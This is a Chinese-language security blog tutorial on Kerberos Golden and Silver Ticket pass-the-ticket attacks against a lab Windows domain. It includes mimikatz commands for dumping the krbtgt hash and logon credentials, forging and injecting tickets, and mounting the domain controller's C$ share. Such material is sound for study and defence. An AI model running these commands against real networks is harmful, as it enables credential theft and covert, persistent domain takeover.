前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >内网渗透(四) | 票据传递攻击

内网渗透(四) | 票据传递攻击

作者头像
Ms08067安全实验室
发布2020-07-01 17:11:04
2K0
发布2020-07-01 17:11:04
举报

票据传递攻击

(Pass the Ticket,PtT)

票据传递攻击(PtT)是基于Kerberos认证的一种攻击方式,常用来做后渗透权限维持。黄金票据攻击利用的前提是得到了域内krbtgt用户的NTLM 哈希或AES-256的值,白银票据攻击利用的前提是得到了域内服务账号的NTLM 哈希或AES-256的值。票据传递攻击常用来做域控权限维持。

关于Kerberos认证:Kerberos认证方式

现在我们有下面这种情况,域成员A获得了域中的 krbtgt 用户的 sid 值和哈希值,现在域成员A想利用票据传递攻击,访问域控服务器。

黄金票据 (Golden Ticket)传递攻击

在认证过程中,客户端与KAS的通信会得到TGT认购权证,带着TGT认购权证向TGS请求,得到ST服务票据,用这个ST服务票据可以来访问应用服务器。域中每个用户的ST服务票据都是由krbtgt用户的密码Hash来计算生成的,因此只要我们拿到了krbtgt用户的密码Hash,就可以随意伪造ST服务票据,进而使用ST服务票据登陆域控制器,使用krbtgt用户hash生成的票据被称为Golden Ticket,此类攻击方法被称为票据传递攻击(Pass the Ticket,PtT)。

在域中,存在的特殊用户,在域服务器上执行命令 net user 可以看到存在 krbtgt 用户。

要创建黄金票据,我们需要知道以下信息:

  • 要伪造的域用户(这里我们一般填写域管理员账户)
  • 域名
  • 域的SID值(就是域成员SID值去掉最后的)
  • krbtgt账号的哈希值或AES-256值

那么,我们如何知道krbtgt账号的SID值和哈希值呢?下面这个命令是在域控的服务器上运行

代码语言:javascript
复制
lsadump::dcsync /domain:xie.com /user:krbtgt

注意,这里我们要的是域的SID值,所以去掉最后的 502,如下SID为:S-1-5-21-2189311154-2766837956-1982445477

以下环境是在域成员A的 administrator 用户下进行,因为mimikatz需要管理员权限!

生成票据并导入:

方法一:在mimikatz中生成黄金票据并导入

代码语言:javascript
复制
privilege::debug  #提权
kerberos::golden /user:administrator /domain:xie.com /sid:S-1-5-21-2189311154-2766837956-1982445477 /krbtgt:7aad81625fab43e7fdb3cd9f399c060c /ptt  #生成票据并导入
# kerberos::golden /user:要伪造的域用户(我们这一般写域管理员) /domain:域名 /sid:域的sid值 /krbtgt:krbtgt的哈希 /ptt


或者也可以使用krbtgt的AES-256
privilege::debug  #提权
kerberos::golden /user:administrator /domain:xie.com /sid:S-1-5-21-2189311154-2766837956-1982445477 /aes256:93c335cce03858c917fa2ea98ca79f0b791c93c33ab17936784548114648cda7  /ptt

方法二:在mimikatz中先生成票据,再导入

代码语言:javascript
复制
#以上的命令是直接一步将生成的票据导入,我们也可以分两步
privilege::debug       #提权
kerberos::golden /user:administrator /domain:xie.com /sid:S-1-5-21-2189311154-2766837956-1982445477 /krbtgt:7aad81625fab43e7fdb3cd9f399c060c     #默认生成ticket.kirbi票据
kerberos:ptt ticket.kirbi  #导入票据



#使用krbtgt用户的AES-256
privilege::debug       #提权
kerberos::golden /user:administrator /domain:xie.com /sid:S-1-5-21-2189311154-2766837956-1982445477 /aes256:93c335cce03858c917fa2ea98ca79f0b791c93c33ab17936784548114648cda7    #默认生成ticket.kirbi票据
kerberos:ptt ticket.kirbi  #导入票据

查看票据

然后在我们域成员主机上的CMD窗口可以查看到该票据

也可以在mimikatz中查看该票据

代码语言:javascript
复制
#以下两个命令均可以看到当前会话中的票据
kerberos::list
kerberos::tgt

验证是否成功

代码语言:javascript
复制
net use k: \\WIN2008.xie.com\c$   #将WIN2008的C盘映射到本地的K盘,注意这里格式只能是 主机名.域名 的形式,而不能写ip

我们也可以将该票据删除:

代码语言:javascript
复制
kerberos::purge      #删除票据
kerberos::list       #查看票据

白银票据(Silver Ticket)传递攻击

白银票据Silver Ticket不同域黄金票据Golden Ticket。白银票据的利用过程是伪造TGS,通过已知的授权服务密码生成一张可以访问该服务的TGT。因为在票据生成过程中不需要使用KDC,所以可以绕过域控,很少留下日志。黄金票据使用krbtgt账号的密码散列值,利用伪造高权限的TGT向KDC要求颁发拥有任意服务访问权限的票据,从而获取域控权限。而白银票据会通过相应的服务账号来伪造TGS,例如:LDAP、MSSQL、WinRM、DNS、CIFS等,范围有限,只能获取对应服务的权限。

要创建白银票据,我们需要知道以下信息:

  • 要伪造的域用户(这里我们一般填写域管理员账户)
  • 域名
  • 域的SID值(就是域成员SID值去掉最后的)
  • 目标服务的FQDN
  • 可利用的服务
  • 服务账号的NTLM哈希

使用白银票据伪造CIFS服务权限

CIFS服务通常用于Windows主机之间的文件共享。

(1)使用mimikatz获得服务账号的NTLM哈希值

代码语言:javascript
复制
privilege::Debug
sekurlsa::logonpasswords

(2)进行白银票据攻击

代码语言:javascript
复制
kerberos::golden /domain:xie.com /sid:S-1-5-21-2189311154-2766837956-1982445477 /target:WIN2008.xie.com /service:cifs /rc4:290c699798b47b809500b3bbd4ed3e2f /user:administrator /ptt

(3) 查看系统中的票据

代码语言:javascript
复制
klist

(4) 访问域控的C盘

黄金票据和白银票据的不同

访问权限不同:

  • 黄金票据Golden Ticket:伪造TGT,可以获取任何Kerberos服务权限
  • 白银票据Silver Ticket:伪造TGS,只能访问指定的服务

加密方式不同:

  • Golden Ticket由krbtgt的Hash加密
  • Silver Ticket 由服务账号(通常为计算机账户)Hash加密
  • 认证流程不同:
  • Golden Ticket的利用过程需要访问域控,
  • 而Silver Ticket不需要

隐蔽性不同:

  • 白银票据依赖于服务账号的密码散列值,而黄金票据需要利用krbtgt账号的密码散列值,因此白银票据更隐蔽
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-06-29,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Ms08067安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
访问管理
访问管理(Cloud Access Management,CAM)可以帮助您安全、便捷地管理对腾讯云服务和资源的访问。您可以使用CAM创建子用户、用户组和角色,并通过策略控制其访问范围。CAM支持用户和角色SSO能力,您可以根据具体管理场景针对性设置企业内用户和腾讯云的互通能力。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档